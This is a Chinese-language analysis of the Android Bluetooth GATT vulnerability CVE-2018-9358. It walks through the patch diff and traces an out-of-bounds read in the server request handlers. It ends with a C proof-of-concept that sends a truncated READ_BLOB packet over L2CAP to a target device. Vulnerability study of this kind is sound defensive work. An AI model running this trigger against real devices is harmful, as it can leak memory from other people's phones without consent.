【蓝牙】CVE-2018-9358 信息泄露

补丁

  • https://android.googlesource.com/platform/system/bt/+/0d7c2f5a14d1055f3b4f69035451c66bf8f1b08e

补丁里补了两个函数:gatt_process_exec_write_req()gatts_process_read_req()

DO NOT MERGE Handle bad packet length in gatts_process_read_req

Added error check and handling code in gatts_process_read_req to
make sure that the packet length is correct.
Please note that there is another earlier CL that is reverted and this
is the updated one.

Bug: 73172115
Test: Run the test program, poc, that was attached in the bug report
Merged-In: Ia9b4e502fa8f8384bf9767e68f73b48a0915141b
Change-Id: Ia9b4e502fa8f8384bf9767e68f73b48a0915141b
(cherry picked from commit cc9c7330d1c3507d745170ae7b2e0546197b7acb)
(cherry picked from commit 16f4c21be5bd0ea1968eee8a0f00648b1e326253)
diff --git a/stack/gatt/gatt_sr.cc b/stack/gatt/gatt_sr.cc
index 3af9866..06c9c52 100644
--- a/stack/gatt/gatt_sr.cc
+++ b/stack/gatt/gatt_sr.cc
@@ -22,6 +22,7 @@
  *
  ******************************************************************************/
 
+#include <log/log.h>
 #include "bt_target.h"
 #include "bt_utils.h"
 #include "osi/include/osi.h"
@@ -281,8 +282,8 @@
  * Returns          void
  *
  ******************************************************************************/
-void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
-                                 UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code, uint16_t len,
+                                 uint8_t* p_data) {
   uint8_t *p = p_data, flag, i = 0;
   uint32_t trans_id = 0;
   tGATT_IF gatt_if;
@@ -301,6 +302,13 @@
   }
 #endif
 
+  if (len < sizeof(flag)) {
+    android_errorWriteLog(0x534e4554, "73172115");
+    LOG(ERROR) << __func__ << "invalid length";
+    gatt_send_error_rsp(tcb, GATT_INVALID_PDU, GATT_REQ_EXEC_WRITE, 0, false);
+    return;
+  }
+
   STREAM_TO_UINT8(flag, p);
 
   /* mask the flag */
@@ -940,9 +948,19 @@
  */
 static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
                                    uint8_t op_code, uint16_t handle,
-                                   UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+                                   uint16_t len, uint8_t* p_data) {
   size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
   uint16_t offset = 0;
+
+  if (op_code == GATT_REQ_READ_BLOB && len < sizeof(uint16_t)) {
+    /* Error: packet length is too short */
+    LOG(ERROR) << __func__ << ": packet length=" << len
+               << " too short. min=" << sizeof(uint16_t);
+    android_errorWriteWithInfoLog(0x534e4554, "73172115", -1, NULL, 0);
+    gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
+    return;
+  }
+
   BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);
 
   if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);
@@ -964,7 +982,7 @@
   if (reason != GATT_SUCCESS) {
     osi_free(p_msg);
 
-    /* in theroy BUSY is not possible(should already been checked), protected
+    /* in theory BUSY is not possible(should already been checked), protected
      * check */
     if (reason != GATT_PENDING && reason != GATT_BUSY)
       gatt_send_error_rsp(tcb, reason, op_code, handle, false);

我们先来看gatt_process_exec_write_req(),先从变量p取1个字节,变量p来自参数p_data,我们找到上层函数判断参数是什么数据传入的

/*******************************************************************************
 *
 * Function         gatt_process_exec_write_req
 *
 * Description      This function is called to process the execute write request
 *                  from client.
 *
 * Returns          void
 *
 ******************************************************************************/
void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
                                 UNUSED_ATTR uint16_t len, uint8_t* p_data) {
    uint8_t *p = p_data, flag, i = 0;
    uint32_t trans_id = 0;
    tGATT_IF gatt_if;
    uint16_t conn_id;

    ...
    
    STREAM_TO_UINT8(flag, p); // 获取1个字节

    /* mask the flag */
    flag &= GATT_PREP_WRITE_EXEC;

    /* no prep write is queued */
    if (!gatt_sr_is_prep_cnt_zero(tcb)) {
        trans_id = gatt_sr_enqueue_cmd(tcb, op_code, 0);
        gatt_sr_copy_prep_cnt_to_cback_cnt(tcb);

        for (i = 0; i < GATT_MAX_APPS; i++) {
            if (tcb.prep_cnt[i]) {
                gatt_if = (tGATT_IF)(i + 1);
                conn_id = GATT_CREATE_CONN_ID(tcb.tcb_idx, gatt_if);
                tGATTS_DATA gatts_data;
                gatts_data.exec_write = flag; // 将读出的1字节赋值给gatts_data.exec_write
                gatt_sr_send_req_callback(conn_id, trans_id, GATTS_REQ_TYPE_WRITE_EXEC, &gatts_data);  // 发送回去
                tcb.prep_cnt[i] = 0;
            }
        }
    } else /* nothing needs to be executed , send response now */
    {
        LOG(ERROR) << "gatt_process_exec_write_req: no prepare write pending";
        gatt_send_error_rsp(tcb, GATT_ERROR, GATT_REQ_EXEC_WRITE, 0, false);
    }
}

lenp_data来自上层

/** This function is called to handle the client requests to server */
void gatt_server_handle_client_req(tGATT_TCB& tcb, uint8_t op_code,
                                   uint16_t len, uint8_t* p_data) {
    ...
    if (len >= tcb.payload_size) {
        ... // 错误处理
    } else {
        switch (op_code) {
            ...
            case GATT_REQ_EXEC_WRITE:
                gatt_process_exec_write_req(tcb, op_code, len, p_data);
                break;
            ...
        }
    }
}

再往上找,可以看到msg_lenp分别对应着Buffer剩余长度和Buffer指针

void gatt_data_process(tGATT_TCB& tcb, BT_HDR* p_buf) {
    uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;

    uint16_t msg_len = p_buf->len - 1;
    STREAM_TO_UINT8(op_code, p);

    if (op_code == GATT_SIGN_CMD_WRITE) {
        gatt_verify_signature(tcb, p_buf);
    } else {
        /* message from client */
        if ((op_code % 2) == 0)
            gatt_server_handle_client_req(tcb, op_code, msg_len, p);
        else
            gatt_client_handle_server_rsp(tcb, op_code, msg_len, p);
    }
}

所以再回到gatt_process_exec_write_req,在调用STREAM_TO_UINT8()进行取值的时候,未判断p指向的数据是否处于Buffer边界之内,读出的数据做一次&运算后赋值给gatts_data.exec_write,再调用gatt_sr_send_req_callback()发送回去,造成信息泄露

void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
                                 UNUSED_ATTR uint16_t len, uint8_t* p_data) {
    uint8_t *p = p_data, flag, i = 0;
    ...
    STREAM_TO_UINT8(flag, p); // 获取1个字节
    flag &= GATT_PREP_WRITE_EXEC;
    if (!gatt_sr_is_prep_cnt_zero(tcb)) {
        ...
        for (i = 0; i < GATT_MAX_APPS; i++) {
            if (tcb.prep_cnt[i]) {
                ...
                gatts_data.exec_write = flag; // 将读出的1字节赋值给gatts_data.exec_write
                gatt_sr_send_req_callback(conn_id, trans_id, GATTS_REQ_TYPE_WRITE_EXEC, &gatts_data);  // 发送回去
                ...
            }
        }
    } 
    ...
}

gatt_sr_send_req_callback()调用(*p_reg->app_cb.p_req_cb)(),这是函数指针调用

/*******************************************************************************
 *
 * Function         gatt_sr_send_req_callback
 *
 * Description
 *
 *
 * Returns          void
 *
 ******************************************************************************/
void gatt_sr_send_req_callback(uint16_t conn_id, uint32_t trans_id, tGATTS_REQ_TYPE type, tGATTS_DATA* p_data) {
    tGATT_IF gatt_if = GATT_GET_GATT_IF(conn_id);
    tGATT_REG* p_reg = gatt_get_regcb(gatt_if);

    if (!p_reg) {
        LOG(ERROR) << "p_reg not found discard request";
        return;
    }

    if (p_reg->in_use && p_reg->app_cb.p_req_cb) {
        (*p_reg->app_cb.p_req_cb)(conn_id, trans_id, type, p_data); // <--
    } else {
        LOG(WARNING) << "Call back not found for application conn_id=" << conn_id;
    }
}

找到定义的结构体,我们可以看到p_req_cb是第五个

typedef struct {
    tGATT_CONN_CBACK* p_conn_cb;
    tGATT_CMPL_CBACK* p_cmpl_cb;
    tGATT_DISC_RES_CB* p_disc_res_cb;
    tGATT_DISC_CMPL_CB* p_disc_cmpl_cb;
    tGATT_REQ_CBACK* p_req_cb;
    tGATT_ENC_CMPL_CB* p_enc_cmpl_cb;
    tGATT_CONGESTION_CBACK* p_congestion_cb;
    tGATT_PHY_UPDATE_CB* p_phy_update_cb;
    tGATT_CONN_UPDATE_CB* p_conn_update_cb;
} tGATT_CBACK;

搜索对该结构体进行赋值的全局操作,幸运的找到了,第五个字段就是bta_gatts_send_request_cback()

static void bta_gatts_send_request_cback(uint16_t conn_id, uint32_t trans_id,
                                         tGATTS_REQ_TYPE req_type,
                                         tGATTS_DATA* p_data);

static tGATT_CBACK bta_gatts_cback = {bta_gatts_conn_cback,
                                      NULL,
                                      NULL,
                                      NULL,
                                      bta_gatts_send_request_cback,
                                      NULL,
                                      bta_gatts_cong_cback,
                                      bta_gatts_phy_update_cback,
                                      bta_gatts_conn_update_cback};

有趣的是bta_gatts_send_request_cback()又调用了(*p_rcb->p_cback)()

/*******************************************************************************
 *
 * Function         bta_gatts_request_cback
 *
 * Description      GATTS attribute request callback.
 *
 * Returns          none.
 *
 ******************************************************************************/
static void bta_gatts_send_request_cback(uint16_t conn_id, uint32_t trans_id, tGATTS_REQ_TYPE req_type, tGATTS_DATA* p_data) {
    tBTA_GATTS cb_data;
    tBTA_GATTS_RCB* p_rcb;
    tGATT_IF gatt_if;
    tBTA_GATT_TRANSPORT transport;

    memset(&cb_data, 0, sizeof(tBTA_GATTS));

    if (GATT_GetConnectionInfor(conn_id, &gatt_if, cb_data.req_data.remote_bda, &transport)) {
        p_rcb = bta_gatts_find_app_rcb_by_app_if(gatt_if);

        APPL_TRACE_DEBUG("%s: conn_id=%d trans_id=%d req_type=%d", __func__, conn_id, trans_id, req_type);

        if (p_rcb && p_rcb->p_cback) {
            /* if over BR_EDR, inform PM for mode change */
            if (transport == BTA_TRANSPORT_BR_EDR) {
                bta_sys_busy(BTA_ID_GATTS, BTA_ALL_APP_ID, cb_data.req_data.remote_bda);
                bta_sys_idle(BTA_ID_GATTS, BTA_ALL_APP_ID, cb_data.req_data.remote_bda);
            }

            cb_data.req_data.conn_id = conn_id;
            cb_data.req_data.trans_id = trans_id;
            cb_data.req_data.p_data = (tBTA_GATTS_REQ_DATA*)p_data;

            (*p_rcb->p_cback)(req_type, &cb_data); // <--
        } else {
            APPL_TRACE_ERROR("connection request on gatt_if[%d] is not interested", gatt_if);
        }
    } else {
        APPL_TRACE_ERROR("request received on unknown connectino ID: %d", conn_id);
    }
}

继续找结构体,这个结构体的赋值最终没有找到

/* application registration control block */
typedef struct {
    bool in_use;
    tBT_UUID app_uuid;
    tBTA_GATTS_CBACK* p_cback;
    tBTA_GATTS_IF gatt_if;
} tBTA_GATTS_RCB;

于是我想,函数(*p_rcb->p_cback)(req_type, &cb_data)的参数类型或许有希望

(*p_rcb->p_cback)(tGATTS_REQ_TYPE, tBTA_GATTS*)
typedef uint8_t tGATTS_REQ_TYPE;

最后找到一个

typedef uint8_t tBTA_GATTS_EVT;

static void btapp_gatts_cback(tBTA_GATTS_EVT event, tBTA_GATTS* p_data) {
  bt_status_t status;
  status = btif_transfer_context(btapp_gatts_handle_cback, (uint16_t)event,
                                 (char*)p_data, sizeof(tBTA_GATTS),
                                 btapp_gatts_copy_req_data);
  ASSERTC(status == BT_STATUS_SUCCESS, "Context transfer failed!", status);
}
#define BTA_GATTS_EXEC_WRITE_EVT GATTS_REQ_TYPE_WRITE_EXEC             /* 5 */

第二处补丁对Buffer剩余长度做了判断,后面取了2字节的数据,所以需要判断Buffer剩余长度要大于等于2字节

@@ -940,9 +948,19 @@
  */
 static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
                                    uint8_t op_code, uint16_t handle,
-                                   UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+                                   uint16_t len, uint8_t* p_data) {
   size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
   uint16_t offset = 0;
+
+  if (op_code == GATT_REQ_READ_BLOB && len < sizeof(uint16_t)) {
+    /* Error: packet length is too short */
+    LOG(ERROR) << __func__ << ": packet length=" << len
+               << " too short. min=" << sizeof(uint16_t);
+    android_errorWriteWithInfoLog(0x534e4554, "73172115", -1, NULL, 0);
+    gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
+    return;
+  }
+
   BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);
 
   if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);
@@ -964,7 +982,7 @@
   if (reason != GATT_SUCCESS) {
     osi_free(p_msg);

获取的数据offset只传入了gatts_read_attr_value_by_handle(),且后续没有使用到,所以我们需要关注gatts_read_attr_value_by_handle()里对offset的操作

/**
 * This function is called to process the read request from client.
 */
static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
                                   uint8_t op_code, uint16_t handle,
                                   UNUSED_ATTR uint16_t len, uint8_t* p_data) {
    size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
    uint16_t offset = 0;
    BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);

    // 此处直接对p_data取2字节的数据
    if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);

    uint8_t* p = (uint8_t*)(p_msg + 1) + L2CAP_MIN_OFFSET;
    *p++ = op_code + 1;
    p_msg->len = 1;
    buf_len = tcb.payload_size - 1;

    uint8_t sec_flag, key_size;
    gatt_sr_get_sec_info(tcb.peer_bda, tcb.transport, &sec_flag, &key_size);

    uint16_t value_len = 0;
    // 读取的offset传入gatts_read_attr_value_by_handle()
    tGATT_STATUS reason = gatts_read_attr_value_by_handle(
        tcb, el.p_db, op_code, handle, offset, p, &value_len, (uint16_t)buf_len, 
        sec_flag, key_size, 0);
    p_msg->len += value_len;

    if (reason != GATT_SUCCESS) {
        osi_free(p_msg);

        /* in theroy BUSY is not possible(should already been checked), protected
         * check */
        if (reason != GATT_PENDING && reason != GATT_BUSY)
            gatt_send_error_rsp(tcb, reason, op_code, handle, false);

        return;
    }

    attp_send_sr_msg(tcb, p_msg); 
}

通过对gatts_read_attr_value_by_handle()进行分析,正常情况下返回的是GATT_SUCCESS,我们并不关心返回值,所以这里略过,其中会调用两个函数:read_attr_value()gatts_send_app_read_request()

/*******************************************************************************
 *
 * Function         gatts_read_attr_value_by_handle
 *
 * Description      Query attribute value by attribute handle.
 *
 * Parameter        p_db: pointer to the attribute database.
 *                  handle: Attribute handle to read.
 *                  offset: Read offset.
 *                  p_value: output parameter to carry out the attribute value.
 *                  p_len: output parameter as attribute length read.
 *                  read_long: this is a read blob request.
 *                  mtu: MTU.
 *                  sec_flag: current link security status.
 *                  key_size: encryption key size
 *
 * Returns          Status of operation.
 *
 ******************************************************************************/
tGATT_STATUS gatts_read_attr_value_by_handle(
        tGATT_TCB& tcb, tGATT_SVC_DB* p_db, uint8_t op_code, uint16_t handle,
        uint16_t offset, uint8_t* p_value, uint16_t* p_len, uint16_t mtu,
        tGATT_SEC_FLAG sec_flag, uint8_t key_size, uint32_t trans_id) {
    tGATT_ATTR* p_attr = find_attr_by_handle(p_db, handle);
    if (!p_attr) return GATT_NOT_FOUND;

    uint8_t* pp = p_value;
    tGATT_STATUS status = read_attr_value(*p_attr, offset, &pp,
                                            (bool)(op_code == GATT_REQ_READ_BLOB),
                                            mtu, p_len, sec_flag, key_size);

    if (status == GATT_PENDING) {
        status = gatts_send_app_read_request(tcb, op_code, p_attr->handle, offset, trans_id, p_attr->gatt_type);
    }
    return status;
}

read_attr_value()调用gatts_check_attr_readability(),然而gatts_check_attr_readability()没有使用到offset

static tGATT_STATUS read_attr_value(tGATT_ATTR& attr16, uint16_t offset,
                                    uint8_t** p_data, bool read_long,
                                    uint16_t mtu, uint16_t* p_len,
                                    tGATT_SEC_FLAG sec_flag, uint8_t key_size) {
    ...
    tGATT_STATUS status = gatts_check_attr_readability(attr16, offset, read_long, sec_flag, key_size);
    ...
}

static tGATT_STATUS gatts_check_attr_readability(const tGATT_ATTR& attr,
                                                 UNUSED_ATTR uint16_t offset,
                                                 bool read_long,
                                                 tGATT_SEC_FLAG sec_flag,
                                                 uint8_t key_size) {

来看另一个函数gatts_send_app_read_request(),该函数将offset赋值给sr_data.read_req.offset,最后调用gatt_sr_send_req_callback()

/*******************************************************************************
 *
 * Function         gatts_send_app_read_request
 *
 * Description      Send application read request callback
 *
 * Returns          status of operation.
 *
 ******************************************************************************/
static tGATT_STATUS gatts_send_app_read_request(
        tGATT_TCB& tcb, uint8_t op_code, uint16_t handle, uint16_t offset,
        uint32_t trans_id, bt_gatt_db_attribute_type_t gatt_type) {
    tGATT_SRV_LIST_ELEM& el = *gatt_sr_find_i_rcb_by_handle(handle);
    uint16_t conn_id = GATT_CREATE_CONN_ID(tcb.tcb_idx, el.gatt_if);

    if (trans_id == 0) {
        trans_id = gatt_sr_enqueue_cmd(tcb, op_code, handle);
        gatt_sr_update_cback_cnt(tcb, el.gatt_if, true, true);
    }

    if (trans_id != 0) {
        tGATTS_DATA sr_data;
        memset(&sr_data, 0, sizeof(tGATTS_DATA));

        sr_data.read_req.handle = handle;
        sr_data.read_req.is_long = (bool)(op_code == GATT_REQ_READ_BLOB);
        sr_data.read_req.offset = offset; // <--

        uint8_t opcode;
        if (gatt_type == BTGATT_DB_DESCRIPTOR) {
            opcode = GATTS_REQ_TYPE_READ_DESCRIPTOR;
        } else if (gatt_type == BTGATT_DB_CHARACTERISTIC) {
            opcode = GATTS_REQ_TYPE_READ_CHARACTERISTIC;
        } else {
            LOG(ERROR) << __func__
                        << ": Attempt to read attribute that's not tied with "
                            "characteristic or descriptor value.";
            return GATT_ERROR;
        }

        gatt_sr_send_req_callback(conn_id, trans_id, opcode, &sr_data); // <--
        return (tGATT_STATUS)GATT_PENDING;
    } else
        return (tGATT_STATUS)GATT_BUSY; /* max pending command, application error */
}

所以问题来了:gatt_sr_send_req_callback()到底在做什么?

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

#define BT_PSM_GATT 31

#define GATT_REQ_READ_BLOB   0x0C

#define UINT8_TO_STREAM(p, u8)     \
{                                  \
    *(p)++ = u8;                   \
}

#define UINT16_TO_STREAM(p, u16)   \
{                                  \
  *(p)++ = (uint8_t)(u16);         \
  *(p)++ = (uint8_t)((u16) >> 8);  \
}

#define GATT_BLD_OPCODE(p, opcode) \
do{                                \
    *(p)++ = opcode;               \
}while(0)

void send_trigger_req(int sock_fd)
{
    uint8_t buffer[1024];
    memset(buffer, 0, 1024);

    uint8_t *p = buffer;
    GATT_BLD_OPCODE(p, GATT_REQ_READ_BLOB);
        
    uint16_t handle = 0x0001;
    UINT16_TO_STREAM(p, handle);

    // without handle here, to make oob read.

    send(sock_fd, buffer, p - buffer, 0);
}

int main(int argc ,char* argv[])
{
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;

    if(argc < 2)
    {
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
        if(sock_fd == -1)
        {
            perror("[*] socket create failed : ");
            return -1;
        }

        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = PF_BLUETOOTH;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));


        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1)
        {
            perror("[*] bind()");
            goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = PF_BLUETOOTH;
        remote_l2_addr.l2_psm = htobs(BT_PSM_GATT);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) 
        {  
            perror("[*] can't connect");
            // if(errno == 100)
            //     goto vul;
            goto out;
        } 

        send_trigger_req(sock_fd);
        sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

Last updated